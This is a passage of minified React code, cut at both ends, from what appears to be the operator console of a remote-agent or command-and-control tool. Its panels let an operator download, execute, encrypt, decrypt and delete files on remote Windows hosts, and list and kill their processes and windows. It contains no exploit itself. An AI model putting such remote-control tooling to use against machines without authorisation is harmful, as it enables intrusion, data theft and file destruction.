w-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 7l5 5m0 0l-5 5m5-5H6"})})]})]})}function jn({label:e,value:t,mono:n=!1}){return a.jsxs("div",{children:[a.jsx("p",{className:"text-zerin-text-muted text-xs mb-0.5",children:e}),a.jsx("p",{className:`text-zerin-text text-sm ${n?"font-mono":""}`,children:t})]})}const YU={command:"text-zerin-accent",output:"text-zerin-text",error:"text-zerin-danger",system:"text-zerin-text-muted"},qU={command:"$ ",output:" ",error:"ERR ",system:"SYS "},XU={command:"text-zerin-accent",output:"text-zerin-text-muted",error:"text-zerin-danger",system:"text-zerin-text-muted opacity-50"};function ZU({lines:e,className:t=""}){const n=m.useRef(null),r=m.useRef(null),i=m.useRef(0);return m.useEffect(()=>{var s;e.length>i.current&&((s=r.current)==null||s.scrollIntoView({behavior:"smooth"})),i.current=e.length},[e]),a.jsxs("div",{className:`
|
|||
|
|
bg-zerin-bg border border-zerin-panel-border
|
|||
|
|
font-mono text-sm overflow-hidden flex flex-col
|
|||
|
|
${t}
|
|||
|
|
`,children:[a.jsxs("div",{className:"flex items-center gap-2 px-4 py-2.5 border-b border-zerin-panel-border bg-zerin-panel/60 select-none",children:[a.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-zerin-accent"}),a.jsx("span",{className:"text-zerin-text-dim text-xs font-medium tracking-wide",children:"Terminal"})]}),a.jsxs("div",{ref:n,className:"flex-1 p-4 space-y-1 min-h-[200px] overflow-auto custom-scrollbar",children:[e.length===0&&a.jsxs("div",{className:"text-zerin-text-muted text-xs",children:[a.jsx("span",{className:"opacity-50",children:"SYS "}),"Awaiting input. Type a command to begin."]}),e.map((s,o)=>a.jsxs("div",{className:`${YU[s.type]} whitespace-pre-wrap break-all leading-relaxed`,children:[s.timestamp&&a.jsx("span",{className:"text-zerin-text-muted opacity-30 text-[10px] mr-3 select-none",children:s.timestamp}),a.jsx("span",{className:`${XU[s.type]} select-none`,children:qU[s.type]}),s.content]},o)),a.jsx("div",{ref:r})]})]})}function QU({agentId:e,agentStatus:t}){const[n,r]=m.useState("C:\\"),[i,s]=m.useState([]),[o,l]=m.useState(!1),[c,u]=m.useState(""),[d,f]=m.useState(!1),[p,h]=m.useState(null),[x,g]=m.useState(null),[y,v]=m.useState(null),[b,w]=m.useState(""),[j,N]=m.useState(""),k=t==="dead",z=m.useRef(null),S=m.useRef(null),O=m.useRef(null);m.useEffect(()=>()=>{z.current&&clearInterval(z.current)},[]),m.useEffect(()=>{if(!p)return;const V=ae=>{ae.button!==2&&S.current&&!S.current.contains(ae.target)&&h(null)},Z=ae=>{ae.key==="Escape"&&h(null)};return document.addEventListener("mousedown",V),document.addEventListener("keydown",Z),()=>{document.removeEventListener("mousedown",V),document.removeEventListener("keydown",Z)}},[p]),m.useEffect(()=>{y&&setTimeout(()=>{var V;return(V=O.current)==null?void 0:V.focus()},50)},[y]);const A=m.useCallback(V=>new Promise((Z,ae)=>{let ue=0;const be=30,ye=setInterval(async()=>{var q;ue++;try{const C=(q=(await Xn(e)).results)==null?void 0:q.find(Y=>Y.task_id===V);C?(clearInterval(ye),C.error?ae(new Error(C.error)):Z({output:C.output,data:C.data})):ue>=be&&(clearInterval(ye),ae(new Error("Timed out waiting for agent response")))}catch{}},2e3)}),[e]),T=m.useCallback(async V=>{if(!k){l(!0),u(""),s([]),z.current&&(clearInterval(z.current),z.current=null);try{const{task_id:Z}=await Me(e,{command:"ls",args:[V]});r(V),f(!0);let ae=0;const ue=30;z.current=setInterval(async()=>{var be;ae++;try{const q=(be=(await Xn(e)).results)==null?void 0:be.find(te=>te.task_id===Z);if(q){if(z.current&&clearInterval(z.current),z.current=null,l(!1),q.error){u(q.error);return}if(q.output){const te=q.output.split(`
|
|||
|
|
`).slice(2),C=[];for(const Y of te){if(Y.length<35)continue;const ne=Y.substring(0,12).trim(),B=Y.substring(13,33).trim();let le=Y.substring(34).trim();if(!le||le==="."||le==="..")continue;const we=ne==="<DIR>";(le.endsWith("/")||le.endsWith("\\"))&&(le=le.slice(0,-1)),C.push({name:le,isDir:we,size:we?void 0:ne,modified:B})}s(C)}}else ae>=ue&&(z.current&&clearInterval(z.current),z.current=null,l(!1),u("Timed out waiting for agent response"))}catch{}},2e3)}catch(Z){u(Z instanceof Error?Z.message:"Failed to send command"),l(!1)}}},[e,k]),P=V=>{if(V.name.includes("..")||V.name.includes("/")||V.name.includes("\\"))throw new Error("Invalid file name: path traversal detected");const Z=n.endsWith("\\")||n.endsWith("/")?"":"\\";return n+Z+V.name},D=V=>{N(V),setTimeout(()=>N(""),5e3)},G=async V=>{h(null),g("download"),u(""),N("");try{const Z=P(V),{task_id:ae}=await Me(e,{command:"download",args:[Z]}),ue=await A(ae);if(ue.data){let be;try{be=atob(ue.data)}catch{u("Failed to decode file data: invalid base64 encoding");return}const ye=new Uint8Array(be.length);for(let Y=0;Y<be.length;Y++)ye[Y]=be.charCodeAt(Y);const q=new Blob([ye]),te=URL.createObjectURL(q),C=document.createElement("a");C.href=te,C.download=V.name,document.body.appendChild(C),C.click(),document.body.removeChild(C),URL.revokeObjectURL(te),D(`Downloaded ${V.name}`)}}catch(Z){u(Z instanceof Error?Z.message:"Download failed")}finally{g(null)}},R=async V=>{h(null),g("delete"),u(""),N("");try{const Z=P(V),{task_id:ae}=await Me(e,{command:"delete",args:[Z]});await A(ae),D(`Deleted ${V.name}`),T(n)}catch(Z){u(Z instanceof Error?Z.message:"Delete failed")}finally{g(null)}},K=async(V,Z,ae)=>{v(null),w(""),g(V),u(""),N("");try{const ue=P(Z),{task_id:be}=await Me(e,{command:V,args:[ue,ae]}),ye=await A(be);D(ye.output||`${V==="encrypt"?"Encrypted":"Decrypted"} ${Z.name}`),T(n)}catch(ue){u(ue instanceof Error?ue.message:`${V} failed`)}finally{g(null)}},_=async V=>{h(null),g("execute"),u(""),N("");try{const Z=P(V),{task_id:ae}=await Me(e,{command:"execute",args:[Z]}),ue=await A(ae);D(ue.output||`Executed ${V.name}`)}catch(Z){u(Z instanceof Error?Z.message:"Execute failed")}finally{g(null)}},M=(V,Z)=>{V.preventDefault(),V.stopPropagation();const ae=180,ue=220;let be=V.clientX,ye=V.clientY;be+ae>window.innerWidth&&(be=window.innerWidth-ae-8),ye+ue>window.innerHeight&&(ye=window.innerHeight-ue-8),h({x:Math.max(4,be),y:Math.max(4,ye),entry:Z})},F=()=>{!y||!b.trim()||K(y.action,y.entry,b)},U=n.split(/[/\\]/).filter(Boolean);return a.jsxs("div",{className:"p-6 animate-fade-in max-w-3xl mx-auto",onContextMenu:V=>{V.preventDefault(),h(null)},children:[a.jsxs("div",{className:"flex items-center gap-1 mb-4 text-xs font-mono overflow-x-auto",children:[a.jsx("button",{onClick:()=>T("C:\\"),className:"text-zerin-text-muted hover:text-zerin-accent transition-colors px-1",disabled:k,children:"root"}),U.map((V,Z)=>a.jsxs("span",{className:"flex items-center gap-1",children:[a.jsx("span",{className:"text-zerin-text-muted",children:"/"}),a.jsx("button",{onClick:()=>{const ae=U.slice(0,Z+1).join("\\")+"\\";T(ae)},className:"text-zerin-text-dim hover:text-zerin-accent transition-colors px-1",disabled:k,children:V})]},Z))]}),a.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[a.jsxs("button",{onClick:()=>T(n),disabled:k||o,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r
|
|||
|
|
bg-zerin-accent text-white hover:bg-zerin-accent-hover\r
|
|||
|
|
disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[o?a.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Browse"]}),k&&a.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"}),x&&a.jsxs("span",{className:"inline-flex items-center gap-1.5 text-xs text-zerin-text-muted",children:[a.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),x,"..."]})]}),c&&a.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:c}),j&&a.jsx("div",{className:"bg-zerin-accent/10 border border-zerin-accent/30 px-4 py-3 text-xs text-zerin-accent mb-4 font-mono",children:j}),d?i.length>0?a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[a.jsxs("div",{className:"grid grid-cols-[24px_1fr] gap-2 px-4 py-2 border-b border-zerin-panel-border bg-zerin-bg-alt",children:[a.jsx("span",{}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Name"})]}),i.map(V=>a.jsxs("button",{onClick:()=>{if(V.isDir){const Z=n.endsWith("\\")||n.endsWith("/")?"":"\\";T(n+Z+V.name)}},onContextMenu:Z=>M(Z,V),className:`w-full grid grid-cols-[24px_1fr] gap-2 px-4 py-2 text-left\r
|
|||
|
|
border-b border-zerin-panel-border last:border-b-0\r
|
|||
|
|
hover:bg-zerin-panel-hover transition-colors text-sm`,children:[a.jsx("span",{className:"text-zerin-text-muted",children:V.isDir?a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 12.75V12A2.25 2.25 0 014.5 9.75h15A2.25 2.25 0 0121.75 12v.75m-8.69-6.44l-2.12-2.12a1.5 1.5 0 00-1.061-.44H4.5A2.25 2.25 0 002.25 6v12a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9a2.25 2.25 0 00-2.25-2.25h-5.379a1.5 1.5 0 01-1.06-.44z"})}):a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.5 14.25v-2.625a3.375 3.375 0 00-3.375-3.375h-1.5A1.125 1.125 0 0113.5 7.125v-1.5a3.375 3.375 0 00-3.375-3.375H8.25m2.25 0H5.625c-.621 0-1.125.504-1.125 1.125v17.25c0 .621.504 1.125 1.125 1.125h12.75c.621 0 1.125-.504 1.125-1.125V11.25a9 9 0 00-9-9z"})})}),a.jsx("span",{className:V.isDir?"text-zerin-accent font-medium":"text-zerin-text-dim",children:V.name})]},V.name))]}):null:a.jsx("div",{className:"flex items-center justify-center py-16",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 12.75V12A2.25 2.25 0 014.5 9.75h15A2.25 2.25 0 0121.75 12v.75m-8.69-6.44l-2.12-2.12a1.5 1.5 0 00-1.061-.44H4.5A2.25 2.25 0 002.25 6v12a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9a2.25 2.25 0 00-2.25-2.25h-5.379a1.5 1.5 0 01-1.06-.44z"})})}),a.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Browse to list files on the agent"})]})}),p&&a.jsxs("div",{ref:S,className:"animate-scale-in fixed z-[9999] min-w-[170px] border border-zerin-panel-border bg-zerin-panel py-1",style:{left:p.x,top:p.y},children:[a.jsx("div",{className:"px-3 py-1.5 border-b border-zerin-panel-border",children:a.jsx("span",{className:"text-[11px] font-mono text-zerin-text-muted truncate block max-w-[200px]",children:p.entry.name})}),a.jsxs("button",{onClick:()=>G(p.entry),className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r
|
|||
|
|
text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-accent transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 16v1a3 3 0 003 3h10a3 3 0 003-3v-1m-4-4l-4 4m0 0l-4-4m4 4V4"})}),"Download"]}),a.jsxs("button",{onClick:()=>_(p.entry),className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r
|
|||
|
|
text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-accent transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 3l14 9-14 9V3z"})}),"Execute"]}),a.jsx("div",{className:"mx-2 my-1 border-t border-zerin-panel-border"}),a.jsxs("button",{onClick:()=>{v({action:"encrypt",entry:p.entry}),h(null),w("")},className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r
|
|||
|
|
text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-accent transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 15v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2zm10-10V7a4 4 0 00-8 0v4h8z"})}),"Encrypt"]}),a.jsxs("button",{onClick:()=>{v({action:"decrypt",entry:p.entry}),h(null),w("")},className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r
|
|||
|
|
text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-accent transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 11V7a4 4 0 118 0m-4 8v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2z"})}),"Decrypt"]}),a.jsx("div",{className:"mx-2 my-1 border-t border-zerin-panel-border"}),a.jsxs("button",{onClick:()=>R(p.entry),className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r
|
|||
|
|
text-zerin-danger hover:bg-zerin-danger-dim transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 7l-.867 12.142A2 2 0 0116.138 21H7.862a2 2 0 01-1.995-1.858L5 7m5 4v6m4-6v6m1-10V4a1 1 0 00-1-1h-4a1 1 0 00-1 1v3M4 7h16"})}),"Delete"]})]}),y&&a.jsx("div",{className:"fixed inset-0 z-[10000] flex items-center justify-center bg-black/60",onClick:()=>{v(null),w("")},children:a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 min-w-[340px] animate-scale-in",onClick:V=>V.stopPropagation(),children:[a.jsxs("h3",{className:"text-sm font-semibold text-zerin-text mb-1 capitalize",children:[y.action," File"]}),a.jsx("p",{className:"text-xs text-zerin-text-muted mb-4 font-mono truncate",children:y.entry.name}),a.jsx("label",{className:"block text-xs text-zerin-text-dim mb-1.5",children:"Password"}),a.jsx("input",{ref:O,type:"password",value:b,onChange:V=>w(V.target.value),onKeyDown:V=>{V.key==="Enter"&&F(),V.key==="Escape"&&(v(null),w(""))},placeholder:"Enter password...",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r
|
|||
|
|
text-zerin-text font-mono text-sm placeholder-zerin-text-muted\r
|
|||
|
|
focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20\r
|
|||
|
|
transition-all mb-4`}),a.jsxs("div",{className:"flex items-center justify-end gap-2",children:[a.jsx("button",{onClick:()=>{v(null),w("")},className:`px-3 py-1.5 text-xs text-zerin-text-dim\r
|
|||
|
|
hover:text-zerin-text hover:bg-zerin-panel-hover transition-colors`,children:"Cancel"}),a.jsx("button",{onClick:F,disabled:!b.trim(),className:`px-4 py-1.5 text-xs font-medium bg-zerin-accent text-white\r
|
|||
|
|
hover:bg-zerin-accent-hover disabled:opacity-40 disabled:cursor-not-allowed\r
|
|||
|
|
transition-colors capitalize`,children:y.action})]})]})})]})}function JU({agentId:e,agentStatus:t}){const[n,r]=m.useState([]),[i,s]=m.useState(!1),[o,l]=m.useState(""),[c,u]=m.useState(!1),[d,f]=m.useState(""),[p,h]=m.useState(null),[x,g]=m.useState(null),y=t==="dead",v=m.useRef(null);m.useEffect(()=>()=>{v.current&&clearInterval(v.current)},[]);const b=m.useCallback(async()=>{if(!y){s(!0),l(""),r([]),v.current&&(clearInterval(v.current),v.current=null);try{const{task_id:k}=await Me(e,{command:"ps"});u(!0);let z=0;const S=30;v.current=setInterval(async()=>{var O;z++;try{const T=(O=(await Xn(e)).results)==null?void 0:O.find(P=>P.task_id===k);if(T){if(v.current&&clearInterval(v.current),v.current=null,s(!1),T.error){l(T.error);return}if(T.output){const P=T.output.split(`
|
|||
|
|
`).filter(K=>K.trim()),D=[];for(const K of P){const _=K.trim().split(/\s+/);if(_.length>=2){const M=parseInt(_[0],10);if(!isNaN(M)){const F=_.length>=3?parseInt(_[1],10):0,U=!isNaN(F)&&_.length>=3,V=U?_.length>=4&&_.slice(3).join(" ")||_[2]:_.slice(1).join(" "),Z=U&&_.length>=4?_[2]:void 0;D.push({pid:M,ppid:U?F:0,name:V,user:Z,children:[]})}}}const G=new Map;D.forEach(K=>G.set(K.pid,K));const R=[];for(const K of D){const _=G.get(K.ppid);_&&_!==K?_.children.push(K):R.push(K)}r(R.length>0?R:D.map(K=>({...K,children:[]})))}}else z>=S&&(v.current&&clearInterval(v.current),v.current=null,s(!1),l("Timed out waiting for agent response"))}catch{}},2e3)}catch(k){l(k instanceof Error?k.message:"Failed to send command"),s(!1)}}},[e,y]),w=(k,z)=>{if(!z)return k;const S=z.toLowerCase();return k.filter(O=>{const A=O.name.toLowerCase().includes(S)||String(O.pid).includes(S),T=w(O.children,z).length>0;return A||T})},j=m.useCallback(async k=>{h(k),g(null);try{await Me(e,{command:"kill",args:[String(k)]}),setTimeout(b,2e3)}catch(z){l(z instanceof Error?z.message:"Failed to kill process")}finally{h(null)}},[e,b]),N=w(n,d);return a.jsxs("div",{className:"p-6 animate-fade-in",children:[a.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[a.jsxs("button",{onClick:b,disabled:y||i,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r
|
|||
|
|
bg-zerin-accent text-white hover:bg-zerin-accent-hover\r
|
|||
|
|
disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[i?a.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Refresh"]}),a.jsxs("div",{className:"relative flex-1 max-w-xs",children:[a.jsx("svg",{className:"absolute left-2.5 top-1/2 -translate-y-1/2 w-3.5 h-3.5 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),a.jsx("input",{type:"text",value:d,onChange:k=>f(k.target.value),placeholder:"Filter processes...",className:`w-full bg-zerin-bg border border-zerin-panel-border pl-8 pr-3 py-1.5\r
|
|||
|
|
text-xs text-zerin-text placeholder-zerin-text-muted\r
|
|||
|
|
focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]}),y&&a.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"})]}),o&&a.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:o}),c?n.length>0?a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[a.jsxs("div",{className:"grid grid-cols-[80px_1fr_120px_70px] gap-4 px-4 py-2 border-b border-zerin-panel-border bg-zerin-bg-alt",children:[a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"PID"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Name"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"User"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Kill"})]}),a.jsx("div",{className:"max-h-[500px] overflow-y-auto custom-scrollbar",children:N.map(k=>a.jsx(cS,{process:k,depth:0,confirmKillPid:x,killingPid:p,onKillClick:z=>g(z),onKillConfirm:j,onKillCancel:()=>g(null)},k.pid))})]}):null:a.jsx("div",{className:"flex items-center justify-center py-16",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.75 6A2.25 2.25 0 016 3.75h2.25A2.25 2.25 0 0110.5 6v2.25a2.25 2.25 0 01-2.25 2.25H6a2.25 2.25 0 01-2.25-2.25V6zM3.75 15.75A2.25 2.25 0 016 13.5h2.25a2.25 2.25 0 012.25 2.25V18a2.25 2.25 0 01-2.25 2.25H6A2.25 2.25 0 013.75 18v-2.25zM13.5 6a2.25 2.25 0 012.25-2.25H18A2.25 2.25 0 0120.25 6v2.25A2.25 2.25 0 0118 10.5h-2.25a2.25 2.25 0 01-2.25-2.25V6zM13.5 15.75a2.25 2.25 0 012.25-2.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-2.25A2.25 2.25 0 0113.5 18v-2.25z"})})}),a.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Refresh to list processes on the agent"})]})})]})}function cS({process:e,depth:t,confirmKillPid:n,killingPid:r,onKillClick:i,onKillConfirm:s,onKillCancel:o}){const[l,c]=m.useState(!0),u=e.children.length>0,d=n===e.pid,f=r===e.pid;return a.jsxs(a.Fragment,{children:[a.jsxs("div",{className:`w-full grid grid-cols-[80px_1fr_120px_70px] gap-4 px-4 py-1.5\r
|
|||
|
|
border-b border-zerin-panel-border last:border-b-0\r
|
|||
|
|
hover:bg-zerin-panel-hover transition-colors text-xs`,children:[a.jsx("span",{className:"font-mono text-zerin-accent tabular-nums cursor-pointer",onClick:()=>u&&c(!l),children:e.pid}),a.jsxs("span",{className:"text-zerin-text cursor-pointer",style:{paddingLeft:t*16},onClick:()=>u&&c(!l),children:[u&&a.jsx("svg",{className:`w-3 h-3 inline mr-1 text-zerin-text-muted transition-transform ${l?"rotate-90":""}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 5l7 7-7 7"})}),e.name]}),a.jsx("span",{className:"text-zerin-text-muted truncate",children:e.user||"-"}),a.jsx("span",{children:f?a.jsxs("svg",{className:"animate-spin h-3 w-3 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):d?a.jsxs("span",{className:"flex items-center gap-1",children:[a.jsx("button",{onClick:()=>s(e.pid),className:"text-zerin-danger hover:text-red-400 font-medium transition-colors",children:"Yes"}),a.jsx("span",{className:"text-zerin-text-muted",children:"/"}),a.jsx("button",{onClick:o,className:"text-zerin-text-muted hover:text-zerin-text transition-colors",children:"No"})]}):e.pid>4?a.jsx("button",{onClick:()=>i(e.pid),className:"text-zerin-text-muted hover:text-zerin-danger transition-colors",title:`Kill PID ${e.pid}`,children:a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})}):null})]}),l&&e.children.map(p=>a.jsx(cS,{process:p,depth:t+1,confirmKillPid:n,killingPid:r,onKillClick:i,onKillConfirm:s,onKillCancel:o},p.pid))]})}function eV({agentId:e,agentStatus:t}){const[n,r]=m.useState([]),[i,s]=m.useState(!1),[o,l]=m.useState(""),[c,u]=m.useState(!1),[d,f]=m.useState(""),p=t==="dead",h=m.useRef(null);m.useEffect(()=>()=>{h.current&&clearInterval(h.current)},[]);const x=m.useCallback(async()=>{if(!p){s(!0),l(""),r([]),h.current&&(clearInterval(h.current),h.current=null);try{const{task_id:y}=await Me(e,{command:"windows"});u(!0);let v=0;const b=30;h.current=setInterval(async()=>{var w;v++;try{const N=(w=(await Xn(e)).results)==null?void 0:w.find(k=>k.task_id===y);if(N){if(h.current&&clearInterval(h.current),h.current=null,s(!1),N.error){l(N.error);return}if(N.output)try{const k=JSON.parse(N.output);r(k)}catch{l("Failed to parse window list")}}else v>=b&&(h.current&&clearInterval(h.current),h.current=null,s(!1),l("Timed out waiting for agent response"))}catch{}},2e3)}catch(y){l(y instanceof Error?y.message:"Failed to send command"),s(!1)}}},[e,p]),g=d?n.filter(y=>{const v=d.toLowerCase();return y.title.toLowerCase().includes(v)||y.class.toLowerCase().includes(v)||String(y.pid).includes(v)||String(y.hwnd).includes(v)}):n;return a.jsxs("div",{className:"p-6 animate-fade-in",children:[a.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[a.jsxs("button",{onClick:x,disabled:p||i,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r
|
|||
|
|
bg-zerin-accent text-white hover:bg-zerin-accent-hover\r
|
|||
|
|
disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[i?a.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Refresh"]}),a.jsxs("div",{className:"relative flex-1 max-w-xs",children:[a.jsx("svg",{className:"absolute left-2.5 top-1/2 -translate-y-1/2 w-3.5 h-3.5 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),a.jsx("input",{type:"text",value:d,onChange:y=>f(y.target.value),placeholder:"Filter windows...",className:`w-full bg-zerin-bg border border-zerin-panel-border pl-8 pr-3 py-1.5\r
|
|||
|
|
text-xs text-zerin-text placeholder-zerin-text-muted\r
|
|||
|
|
